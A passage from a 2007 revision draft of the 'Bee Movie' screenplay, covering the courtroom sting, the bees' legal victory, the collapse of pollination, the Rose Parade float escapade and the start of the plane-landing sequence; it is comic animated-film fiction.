Ken, trying to stay with him, spins in place. ANGLE ON: Flames outside the bathroom door. Ken slips on the Italian Vogue, falls backward into the shower, pulling down the shower curtain. The can hits him in the head, followed by the shower curtain rod, and the rubber duck. Ken reaches back, grabs the handheld shower head. He whips around, looking for Barry. ANGLE ON: A WATERBUG near the drain. WATERBUG Waterbug. Not taking sides. Barry is on the toilet tank. He comes out from behind a shampoo bottle, wearing a chapstick cap as a helmet. BARRY Ken, look at me! I’m wearing a chapstick hat. This is pathetic. ANGLE ON: Ken turning the hand shower nozzle from “GENTLE”, to “TURBO”, to “LETHAL”. "Bee Movie" - JS REVISIONS 8/13/07 82. KEN I’ve got issues! Ken fires the water at Barry, knocking him into the toilet. The items from the vanity (emory board, lipstick, eye curler, etc.) are on the toilet seat. Ken looks down at Barry. KEN (CONT'D) Well well well, a royal flush. BARRY You’re bluffing. KEN Am I? Ken flushes the toilet. Barry grabs the Emory board and uses it to surf. He puts his hand in the water while he’s surfing. Some water splashes on Ken. BARRY Surf’s up, dude! KEN Awww, poo water! He does some skate board-style half-pipe riding. Barry surfs out of the toilet. BARRY That bowl is gnarly. Ken tries to get a shot at him with the toilet brush. KEN Except for those dirty yellow rings. Vanessa ENTERS. VANESSA Kenneth! What are you doing? KEN You know what? I don’t even like honey! I don’t eat it! VANESSA We need to talk! "Bee Movie" - JS REVISIONS 8/13/07 83. She pulls Ken out by his ear. Ken glares at Barry. CUT TO: INT. HALLWAY - CONTINUOUS VANESSA He’s just a little bee. And he happens to be the nicest bee I’ve met in a long time. KEN Long time? What are you talking about? Are there other bugs in your life? VANESSA No, but there are other things bugging me in life. And you’re one of them! KEN Fine! Talking bees, no yogurt night...my nerves are fried from riding on this emotional rollercoaster. VANESSA Goodbye, Ken. KEN Augh! VANESSA Whew! Ken EXITS, then re-enters frame. KEN And for your information, I prefer sugar-free, artificial sweeteners, made by man! He EXITS again. The DOOR SLAMS behind him. VANESSA (to Barry) I’m sorry about all that. Ken RE-ENTERS. "Bee Movie" - JS REVISIONS 8/13/07 84. KEN I know it’s got an aftertaste! I like it! BARRY (re: Ken) I always felt there was some kind of barrier between Ken and me. (puts his hands in his pockets) I couldn’t overcome it. Oh well. VANESSA Are you going to be okay for the trial tomorrow? BARRY Oh, I believe Mr. Montgomery is about out of ideas. CUT TO: SEQ. 3300 - “ADAM STINGS MONTY” INT. COURTROOM - NEXT DAY ANGLE ON: Medium shot of Montgomery standing at his table. MONTGOMERY We would like to call Mr. Barry Benson Bee to the stand. ADAM (whispering to Vanessa) Now that’s a good idea. (to Barry) You can really see why he’s considered one of the very best lawyers-- Oh. Barry rolls his eyes. He gets up, takes the stand. A juror in a striped shirt APPLAUDS. MR. GAMMIL (whispering) Layton, you’ve got to weave some magic with this jury, or it’s going to be all over. Montgomery is holding a BOOK, “The Secret Life of Bees”. "Bee Movie" - JS REVISIONS 8/13/07 85. MONTGOMERY (confidently whispering) Oh, don’t worry Mr. Gammil. The only thing I have to do to turn this jury around is to remind them of what they don’t like about bees. (to Gammil) You got the tweezers? Mr. Gammil NODS, and pats his breast pocket. MR. GAMMIL Are you allergic? MONTGOMERY Only to losing, son. Only to losing. Montgomery approaches the stand. MONTGOMERY (CONT’D) Mr. Benson Bee. I’ll ask you what I think we’d all like to know. What exactly is your relationship to that woman? Montgomery points to Vanessa. BARRY We’re friends. MONTGOMERY Good friends? BARRY Yes. MONTGOMERY (softly in Barry’s face) How good? BARRY What? MONTGOMERY Do you live together? BARRY Wait a minute, this isn’t about-- "Bee Movie" - JS REVISIONS 8/13/07 86. MONTGOMERY Are you her little... (clearing throat) ... bed bug? BARRY (flustered) Hey, that’s not the kind of-- MONTGOMERY I’ve seen a bee documentary or two. Now, from what I understand, doesn’t your Queen give birth to all the bee children in the hive? BARRY Yeah, but-- MONTGOMERY So those aren’t even your real parents! ANGLE ON: Barry’s parents. MARTIN BENSON Oh, Barry. BARRY Yes they are! ADAM Hold me back! Vanessa holds him back with a COFFEE STIRRER. Montgomery points to Barry’s parents. MONTGOMERY You’re an illegitimate bee, aren’t you Benson? ADAM He’s denouncing bees! All the bees in the courtroom start to HUM. They’re agitated. MONTGOMERY And don’t y’all date your cousins? "Bee Movie" - JS REVISIONS 8/13/07 87. VANESSA (standing, letting go of Adam) Objection! Adam explodes from the table and flies towards Montgomery. ADAM I’m going to pin cushion this guy! Montgomery turns around and positions himself by the judge’s bench. He sticks his butt out. Montgomery winks at his team. BARRY Adam, don’t! It’s what he wants! Adam shoves Barry out of the way. Adam STINGS Montgomery in the butt. The jury REACTS, aghast. MONTGOMERY Ow! I’m hit! Oh, lordy, I am hit! The judge BANGS her gavel. JUDGE Order! Order! Please, Mr. Montgomery. MONTGOMERY The venom! The venom is coursing through my veins! I have been felled by a wing-ed beast of destruction. You see? You can’t treat them like equals. They’re strip-ed savages! Stinging’s the only thing they know! It’s their way! ANGLE ON: Adam, collapsed on the floor. Barry rushes to his side. BARRY Adam, stay with me. ADAM I can’t feel my legs. Montgomery falls on the Bailiff. BAILIFF Take it easy. "Bee Movie" - JS REVISIONS 8/13/07 88. MONTGOMERY Oh, what angel of mercy will come forward to suck the poison from my heaving buttocks? The JURY recoils. JUDGE Please, I will have order in this court. Order! Order, please! FADE TO: SEQ. 3400 - “ADAM AT HOSPITAL” INT. HOSPITAL - STREET LEVEL ROOM - DAY PRESS PERSON #1 (V.O) The case of the honey bees versus the human race took a pointed turn against the bees yesterday, when one of their legal team stung Layton T. Montgomery. Now here’s Don with the 5-day. A NURSE lets Barry into the room. Barry CARRIES a FLOWER. BARRY Thank you. Barry stands over Adam, in a bed. Barry lays the flower down next to him. The TV is on. BARRY (CONT'D) Hey buddy. ADAM Hey. BARRY Is there much pain? Adam has a BEE-SIZED PAINKILLER HONEY BUTTON near his head that he presses. ADAM (pressing the button) Yeah...I blew the whole case, didn’t I? "Bee Movie" - JS REVISIONS 8/13/07 89. BARRY Oh, it doesn’t matter. The important thing is you’re alive. You could have died. ADAM I’d be better off dead. Look at me. Adam THROWS the blanket off his lap, revealing a GREEN SANDWICH SWORD STINGER. ADAM (CONT’D) (voice cracking) They got it from the cafeteria, they got it from downstairs. In a tuna sandwich. Look, there’s a little celery still on it. BARRY What was it like to sting someone? ADAM I can’t explain it. It was all adrenaline...and then...ecstasy. Barry looks at Adam. BARRY Alright. ADAM You think that was all a trap? BARRY Of course. I’m sorry. I flew us right into this. What were we thinking? Look at us, we’re just a couple of bugs in this world. ADAM What do you think the humans will do to us if they win? BARRY I don’t know. ADAM I hear they put the roaches in motels. That doesn’t sound so bad. "Bee Movie" - JS REVISIONS 8/13/07 90. BARRY Adam, they check in, but they don’t check out. Adam GULPS. ADAM Oh my. ANGLE ON: the hospital window. We see THREE PEOPLE smoking outside on the sidewalk. The smoke drifts in. Adam COUGHS. ADAM (CONT’D) Say, could you get a nurse to close that window? BARRY Why? ADAM The smoke. Bees don’t smoke. BARRY Right. Bees don’t smoke. Bees don’t smoke! But some bees are smoking. Adam, that’s it! That’s our case. Adam starts putting his clothes on. ADAM It is? It’s not over? BARRY No. Get up. Get dressed. I’ve got to go somewhere. You get back the court and stall. Stall anyway you can. CUT TO: SEQ. 3500 - “SMOKING GUN” INT. COURTROOM - THE NEXT DAY Adam is folding a piece of paper into a boat. ADAM ...and assuming you’ve done step 29 correctly, you’re ready for the tub. "Bee Movie" - JS REVISIONS 8/13/07 91. ANGLE ON: The jury, all with paper boats of their own. JURORS Ooh. ANGLE ON: Montgomery frustrated with Gammil, who’s making a boat also. Monty crumples Gammil’s boat, and throws it at him. JUDGE Mr. Flayman? ADAM Yes? Yes, Your Honor? JUDGE Where is the rest of your team? ADAM (fumbling with his swordstinger) Well, your honor, it’s interesting. You know Bees are trained to fly kind of haphazardly and as a result quite often we don’t make very good time. I actually once heard a pretty funny story about a bee-- MONTGOMERY Your Honor, haven’t these ridiculous bugs taken up enough of this court’s valuable time? Montgomery rolls out from behind his table. He’s suspended in a LARGE BABY CHAIR with wheels. MONTGOMERY (CONT'D) How much longer are we going to allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients who have all run perfectly legitimate businesses. I move for a complete dismissal of this entire case. JUDGE Mr. Flayman, I am afraid I am going to have to consider Mr. Montgomery’s motion. "Bee Movie" - JS REVISIONS 8/13/07 92. ADAM But you can’t. We have a terrific case. MONTGOMERY Where is your proof? Where is the evidence? Show me the smoking gun. Barry bursts through the door. BARRY Hold it, your honor. You want a smoking gun? Here is your smoking gun. Vanessa ENTERS, holding a bee smoker Vanessa slams the beekeeper's SMOKER onto the judge’s bench. JUDGE What is that? BARRY It’s a Bee smoker. Montgomery GRABS the smoker. MONTGOMERY What, this? This harmless little contraption? This couldn’t hurt a fly, let alone a bee. He unintentionally points it towards the bee gallery, KNOCKING THEM ALL OUT. The jury GASPS. The press SNAPS pictures of them. BARRY Members of the jury, look at what has happened to bees who have never been asked, "Smoking or Non?" Is this what nature intended for us? To be forcibly addicted to these smoke machines in man-made wooden slat work camps? Living out our lives as honey slaves to the white man? Barry gestures dramatically towards Montgomery's racially mixed table. The BLACK LAWYER slowly moves his chair away. GAMMIL What are we going to do? "Bee Movie" - JS REVISIONS 8/13/07 93. MONTGOMERY (to Pross) He's playing the species card. Barry lands on the scale of justice, by the judge’s bench. It balances as he lands. BARRY Ladies and gentlemen, please, FreeThese-Bees! ANGLE ON: Jury, chanting "Free the bees". JUDGE The court finds in favor of the bees. The chaos continues. Barry flies over to Vanessa, with his hand up for a “high 5”. BARRY Vanessa, we won! VANESSA Yay! I knew you could do it. Highfive! She high 5’s Barry, sending him crashing to the table. He bounces right back up. VANESSA (CONT'D) Oh, sorry. BARRY Ow!! I’m okay. Vanessa, do you know what this means? All the honey is finally going to belong to the bees. Now we won’t have to work so hard all the time. Montgomery approaches Barry, surrounded by the press. The cameras and microphones go to Montgomery. MONTGOMERY (waving a finger) This is an unholy perversion of the balance of nature, Benson! You’ll regret this. ANGLE ON: Barry’s ‘deer in headlights’ expression, as the press pushes microphones in his face. "Bee Movie" - JS REVISIONS 8/13/07 94. PRESS PERSON 1 Barry, how much honey do you think is out there? BARRY Alright, alright, one at a time... SARAH Barry, who are you wearing? BARRY Uhhh, my sweater is Ralph Lauren, and I have no pants. The Press follows Barry as he EXITS. ANGLE ON: Adam and Vanessa. ADAM (putting papers away) What if Montgomery’s right? VANESSA What do you mean? ADAM We’ve been living the bee way a long time. 27 million years. DISSOLVE TO: SEQ. 3600 - “HONEY ROUNDUP” EXT. HONEY FARMS APIARY - MONTAGE SARAH (V.O) Congratulations on your victory. What are you going to demand as a settlement? BARRY (V.O) (over montage) First, we’re going to demand a complete shutdown of all bee work camps. Then, we want to get back all the honey that was ours to begin with. Every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, big-headed, bad breath, stink-machine. "Bee Movie" - JS REVISIONS 8/13/07 95. I believe we’re all aware of what they do in the woods. We will no longer tolerate derogatory beenegative nick-names, unnecessary inclusion of honey in bogus health products, and la-dee-da tea-time human snack garnishments. MONTAGE IMAGES: Close-up on an ATF JACKET, with the YELLOW LETTERS. Camera pulls back. We see an ARMY OF BEE AND HUMAN AGENTS wearing hastily made “Alcohol, Tobacco, Firearms, and Honey” jackets. Barry supervises. The gate to Honey Farms is locked permanently. All the smokers are collected and locked up. All the bees leave the Apiary. CUT TO: EXT. ATF OUTSIDE OF SUPERMARKET - MONTAGE Agents begin YANKING honey off the supermarket shelves, and out of shopping baskets. CUT TO: EXT. NEW HIVE CITY - MONTAGE The bees tear down a honey-bear statue. CUT TO: EXT. YELLOWSTONE FOREST - MONTAGE POV of a sniper’s crosshairs. An animated BEAR character looka-like, turns his head towards camera. BARRY Wait for my signal. ANGLE ON: Barry lowering his binoculars. BARRY (CONT'D) Take him out. The sniper SHOOTS the bear. It hits him in the shoulder. The bear looks at it. He gets woozy and the honey jar falls out of his lap, an ATF&H agent catches it. "Bee Movie" - JS REVISIONS 8/13/07 96. BARRY (V.O) (CONT'D) ATF&H AGENT (to the bear’s pig friend) He’ll have a little nausea for a few hours, then he’ll be fine. CUT TO: EXT. STING’S HOUSE - MONTAGE ATF&H agents SLAP CUFFS on Sting, who is meditating. STING But it’s just a prance-about stage name! CUT TO: INT. A WOMAN’S SHOWER - MONTAGE A WOMAN is taking a shower, and using honey shampoo. An ATF&H agent pulls the shower curtain aside, and grabs her bottle of shampoo. The woman SCREAMS. The agent turns to the 3 other agents, and Barry. ANGLE ON: Barry looking at the label on the shampoo bottle, shaking his head and writing in his clipboard. CUT TO: EXT. SUPERMARKET CAFE - MONTAGE Another customer, an old lady having her tea with a little jar of honey, gets her face pushed down onto the table and turned to the side by two agents. One of the agents has a gun on her. OLD LADY Can’t breathe. CUT TO: EXT. CENTRAL PARK - MONTAGE An OIL DRUM of honey is connected to Barry’s hive. "Bee Movie" - JS REVISIONS 8/13/07 97. BARRY Bring it in, boys. CUT TO: SEQ. 3650 - “NO MORE WORK” INT. HONEX - MONTAGE ANGLE ON: The honey goes past the 3-cup hash-mark, and begins to overflow. A WORKER BEE runs up to Buzzwell. WORKER BEE 1 Mr. Buzzwell, we just passed 3 cups, and there’s gallons mores coming. I think we need to shutdown. KEYCHAIN BEE (to Buzzwell) Shutdown? We’ve never shutdown. ANGLE ON: Buzzwell overlooking the factory floor. BUZZWELL Shutdown honey production! Stop making honey! ANGLE ON: TWO BEES, each with a KEY. BUZZWELL (CONT’D) Turn your key, Sir! They turn the keys simultaneously, War Games-style, shutting down the honey machines. ANGLE ON: the Taffy-Pull machine, Centrifuge, and Krelman all slowly come to a stop. The bees look around, bewildered. WORKER BEE 5 What do we do now? A BEAT. WORKER BEE 6 Cannon ball!! He jumps into a HONEY VAT, doesn’t penetrate the surface. He looks around, and slowly sinks down to his waist. "Bee Movie" - JS REVISIONS 8/13/07 98. EXT. HONEX FACTORY THE WHISTLE BLOWS, and the bees all stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! 